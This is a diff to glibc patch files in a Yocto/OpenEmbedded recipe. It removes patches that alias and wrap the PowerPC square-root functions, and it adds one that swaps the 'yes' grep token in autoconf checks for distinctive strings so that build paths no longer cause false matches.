-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-index 71e516d1c8..1795fd6c3e 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -39,14 +39,8 @@ static const float half = 0.5;
- We find the actual square root and half of its reciprocal
- simultaneously. */
-
--#ifdef __STDC__
- double
- __ieee754_sqrt (double b)
--#else
--double
--__ieee754_sqrt (b)
-- double b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -132,3 +126,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-index 26fa067abf..a917f313ab 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -37,14 +37,8 @@ static const float threehalf = 1.5;
- We find the reciprocal square root and use that to compute the actual
- square root. */
-
--#ifdef __STDC__
- float
- __ieee754_sqrtf (float b)
--#else
--float
--__ieee754_sqrtf (b)
-- float b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -99,3 +93,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch b/meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch
new file mode 100644
index 0000000000..364e5cfde8
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch
@@ -0,0 +1,260 @@
+From 2192588942c5bc3b5fa10fc6d7433923f42e9ba0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:31:06 +0000
+Subject: [PATCH] 'yes' within the path sets wrong config variables
+
+It seems that the 'AC_EGREP_CPP(yes...' example is quite popular
+but being such a short word to grep it is likely to produce
+false-positive matches with the path it is configured into.
+
+The change is to use a more elaborated string to grep for.
+
+Upstream-Status: Submitted [libc-alpha@sourceware.org]
+
+Signed-off-by: Benjamin Esquivel <benjamin.esquivel@linux.intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/aarch64/configure | 4 ++--
+ sysdeps/aarch64/configure.ac | 4 ++--
+ sysdeps/arm/configure | 4 ++--
+ sysdeps/arm/configure.ac | 4 ++--
+ sysdeps/mips/configure | 4 ++--
+ sysdeps/mips/configure.ac | 4 ++--
+ sysdeps/nios2/configure | 4 ++--
+ sysdeps/nios2/configure.ac | 4 ++--
+ sysdeps/unix/sysv/linux/mips/configure | 4 ++--
+ sysdeps/unix/sysv/linux/mips/configure.ac | 4 ++--
+ sysdeps/unix/sysv/linux/powerpc/powerpc64/configure | 8 ++++----
+ sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac | 8 ++++----
+ 12 files changed, 28 insertions(+), 28 deletions(-)
+
+diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
+index ca57edce47..5e91fab023 100644
+--- a/sysdeps/aarch64/configure
++++ b/sysdeps/aarch64/configure
+@@ -165,12 +165,12 @@ else $as_nop
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __AARCH64EB__
+- yes
++ is_aarch64_be
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "is_aarch64_be" >/dev/null 2>&1
+ then :
+ libc_cv_aarch64_be=yes
+ else $as_nop
+diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
+index 27874eceb4..8a708f2ef4 100644
+--- a/sysdeps/aarch64/configure.ac
++++ b/sysdeps/aarch64/configure.ac
+@@ -13,8 +13,8 @@ AC_DEFINE(SUPPORT_STATIC_PIE)
+ # the dynamic linker via %ifdef.
+ AC_CACHE_CHECK([for big endian],
+ [libc_cv_aarch64_be],
+- [AC_EGREP_CPP(yes,[#ifdef __AARCH64EB__
+- yes
++ [AC_EGREP_CPP(is_aarch64_be,[#ifdef __AARCH64EB__
++ is_aarch64_be
+ #endif
+ ], libc_cv_aarch64_be=yes, libc_cv_aarch64_be=no)])
+ if test $libc_cv_aarch64_be = yes; then
+diff --git a/sysdeps/arm/configure b/sysdeps/arm/configure
+index 35e2918922..94d7fbe8bb 100644
+--- a/sysdeps/arm/configure
++++ b/sysdeps/arm/configure
+@@ -161,12 +161,12 @@ else $as_nop
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __ARM_PCS_VFP
+- yes
++ use_arm_pcs_vfp
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "use_arm_pcs_vfp" >/dev/null 2>&1
+ then :
+ libc_cv_arm_pcs_vfp=yes
+ else $as_nop
+diff --git a/sysdeps/arm/configure.ac b/sysdeps/arm/configure.ac
+index 5172e30bbe..f06dedd7c5 100644
+--- a/sysdeps/arm/configure.ac
++++ b/sysdeps/arm/configure.ac
+@@ -10,8 +10,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
+ # the dynamic linker via %ifdef.
+ AC_CACHE_CHECK([whether the compiler is using the ARM hard-float ABI],
+ [libc_cv_arm_pcs_vfp],
+- [AC_EGREP_CPP(yes,[#ifdef __ARM_PCS_VFP
+- yes
++ [AC_EGREP_CPP(use_arm_pcs_vfp,[#ifdef __ARM_PCS_VFP
++ use_arm_pcs_vfp
+ #endif
+ ], libc_cv_arm_pcs_vfp=yes, libc_cv_arm_pcs_vfp=no)])
+ if test $libc_cv_arm_pcs_vfp = yes; then
+diff --git a/sysdeps/mips/configure b/sysdeps/mips/configure
+index 1e8c6711e6..ae52ccd929 100644
+--- a/sysdeps/mips/configure
++++ b/sysdeps/mips/configure
+@@ -158,11 +158,11 @@ else $as_nop
+ /* end confdefs.h. */
+ dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "use_mips_nan2008" >/dev/null 2>&1
+ then :
+ libc_cv_mips_nan2008=yes
+ else $as_nop
+diff --git a/sysdeps/mips/configure.ac b/sysdeps/mips/configure.ac
+index d3cd780d78..250223d206 100644
+--- a/sysdeps/mips/configure.ac
++++ b/sysdeps/mips/configure.ac
+@@ -6,9 +6,9 @@ dnl position independent way.
+ AC_DEFINE(HIDDEN_VAR_NEEDS_DYNAMIC_RELOC)
+
+ AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
+- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
++ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
+ if test x$libc_cv_mips_nan2008 = xyes; then
+ AC_DEFINE(HAVE_MIPS_NAN2008)
+diff --git a/sysdeps/nios2/configure b/sysdeps/nios2/configure
+index 2fb230cbaa..1959d0a444 100644
+--- a/sysdeps/nios2/configure
++++ b/sysdeps/nios2/configure
+@@ -155,12 +155,12 @@ else $as_nop
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __nios2_big_endian__
+- yes
++ is_nios2_be
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "is_nios2_be" >/dev/null 2>&1
+ then :
+ libc_cv_nios2_be=yes
+ else $as_nop
+diff --git a/sysdeps/nios2/configure.ac b/sysdeps/nios2/configure.ac
+index f738e9a7ed..4085851cbc 100644
+--- a/sysdeps/nios2/configure.ac
++++ b/sysdeps/nios2/configure.ac
+@@ -4,8 +4,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
+ # Nios II big endian is not yet supported.
+ AC_CACHE_CHECK([for big endian],
+ [libc_cv_nios2_be],
+- [AC_EGREP_CPP(yes,[#ifdef __nios2_big_endian__
+- yes
++ [AC_EGREP_CPP(is_nios2_be,[#ifdef __nios2_big_endian__
++ is_nios2_be
+ #endif
+ ], libc_cv_nios2_be=yes, libc_cv_nios2_be=no)])
+ if test $libc_cv_nios2_be = yes; then
+diff --git a/sysdeps/unix/sysv/linux/mips/configure b/sysdeps/unix/sysv/linux/mips/configure
+index a060901de4..0ac7019438 100644
+--- a/sysdeps/unix/sysv/linux/mips/configure
++++ b/sysdeps/unix/sysv/linux/mips/configure
+@@ -441,11 +441,11 @@ else $as_nop
+ /* end confdefs.h. */
+ dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "use_mips_nan2008" >/dev/null 2>&1
+ then :
+ libc_cv_mips_nan2008=yes
+ else $as_nop
+diff --git a/sysdeps/unix/sysv/linux/mips/configure.ac b/sysdeps/unix/sysv/linux/mips/configure.ac
+index 049a0f4bdf..005526d4e8 100644
+--- a/sysdeps/unix/sysv/linux/mips/configure.ac
++++ b/sysdeps/unix/sysv/linux/mips/configure.ac
+@@ -105,9 +105,9 @@ AC_COMPILE_IFELSE(
+ LIBC_CONFIG_VAR([mips-mode-switch],[${libc_mips_mode_switch}])
+
+ AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
+- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
++ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
+
+ libc_mips_nan=
+diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
+index cf1b70c745..0dccf6cd76 100644
+--- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
++++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
+@@ -168,12 +168,12 @@ else $as_nop
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #if _CALL_ELF == 2
+- yes
++ use_ppc_elfv2_abi
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "use_ppc_elfv2_abi" >/dev/null 2>&1
+ then :
+ libc_cv_ppc64_elfv2_abi=yes
+ else $as_nop
+@@ -203,12 +203,12 @@ else $as_nop
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef _CALL_ELF
+- yes
++ is_def_call_elf
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1
++ $EGREP "is_def_call_elf" >/dev/null 2>&1
+ then :
+ libc_cv_ppc64_def_call_elf=yes
+ else $as_nop
+diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
+index f9cba6e15d..b21f72f1e4 100644
+--- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
++++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
+@@ -6,8 +6,8 @@ LIBC_SLIBDIR_RTLDDIR([lib64], [lib64])
+ # Define default-abi according to compiler flags.
+ AC_CACHE_CHECK([whether the compiler is using the PowerPC64 ELFv2 ABI],
+ [libc_cv_ppc64_elfv2_abi],
+- [AC_EGREP_CPP(yes,[#if _CALL_ELF == 2
+- yes
++ [AC_EGREP_CPP(use_ppc_elfv2_abi,[#if _CALL_ELF == 2
++ use_ppc_elfv2_abi
+ #endif
+ ], libc_cv_ppc64_elfv2_abi=yes, libc_cv_ppc64_elfv2_abi=no)])
+ if test $libc_cv_ppc64_elfv2_abi = yes; then
+@@ -19,8 +19,8 @@ else
+ # Compiler that do not support ELFv2 ABI does not define _CALL_ELF
+ AC_CACHE_CHECK([whether the compiler defines _CALL_ELF],
+ [libc_cv_ppc64_def_call_elf],
+- [AC_EGREP_CPP(yes,[#ifdef _CALL_ELF
+- yes
++ [AC_EGREP_CPP(is_def_call_elf,[#ifdef _CALL_ELF
++ is_def_call_elf
+ #endif
+ ], libc_cv_ppc64_def_call_elf=yes, libc_cv_ppc64_def_call_elf=no)])
+ if test $libc_cv_ppc64_def_call_elf = no; then
diff --git a/meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch b/meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
deleted file mode 100644
index 743bea1433..0000000000
--- a/meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
+++ /dev/null
@@ -1,387 +0,0 @@
-From 670b5d70ab62b42ab02a8e18b8fcee2879b8c4a0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:16:38 +0000
-Subject: [PATCH 10/29] __ieee754_sqrt{,f} are now inline functions and call
- out __slow versions
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 8 +++++++-
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 8 ++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 8 ++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 9 ++++++++-
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 12 ++++++++++--
- 12 files changed, 114 insertions(+), 21 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-index 1795fd6c3e..daa83f3fe8 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -40,7 +40,7 @@ static const float half = 0.5;
- simultaneously. */
-
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -77,7 +77,7 @@ __ieee754_sqrt (double b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -126,4 +126,12 @@ __ieee754_sqrt (double b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-index a917f313ab..b812cf1705 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -38,7 +38,7 @@ static const float threehalf = 1.5;
- square root. */
-
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -93,4 +93,10 @@ __ieee754_sqrtf (float b)
- }
- return f_washf (b);
- }
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index fc4a74990e..1c34244bd8 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 9d175122a8..812653558f 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-index 1795fd6c3e..13a81973e3 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -40,7 +40,7 @@ static const float half = 0.5;
- simultaneously. */
-
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -77,7 +77,7 @@ __ieee754_sqrt (double b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -126,4 +126,12 @@ __ieee754_sqrt (double b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-index a917f313ab..fae2d81210 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -38,7 +38,7 @@ static const float threehalf = 1.5;
- square root. */
-
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -93,4 +93,11 @@ __ieee754_sqrtf (float b)
- }
- return f_washf (b);
- }
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
